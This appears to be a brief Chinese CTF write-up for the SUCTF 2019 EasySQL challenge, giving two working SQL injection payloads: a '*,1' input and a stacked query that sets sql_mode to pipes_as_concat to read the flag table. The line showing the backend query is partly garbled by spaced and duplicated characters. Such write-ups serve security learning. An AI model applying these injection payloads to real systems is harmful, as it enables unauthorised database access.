[SUCTF 2019]EasySQL
解法1
输入的内容为*,1
内置的sql语句为:
s q l = " s e l e c t " . sql = "select ".sql="select".post[‘query’]."||flag from Flag";
如果$post[‘query’]的数据为*,1,sql语句就变成了select *,1||flag from Flag,也就是select *,1 from Flag,也就是直接查询出了Flag表中的所有内容
解法2
输入的内容为1;set sql_mode=pipes_as_concat;select 1
其中set sql_mode=pipes_as_concat;的作用为将||的作用由or变为拼接字符串,这是我在本地做的测试,我们执行的语句分别为select 1和set sql_mode=pipes_as_concat和select 1||flag from Flag,读出flag
文章介绍了两种方法利用SQL注入漏洞获取Flag信息。方法一是构造特殊输入*,1,使SQL语句变为查询Flag表所有内容。方法二是设置sql_mode为pipes_as_concat,改变||的行为,然后拼接查询flag。
490

被折叠的 条评论
为什么被折叠?



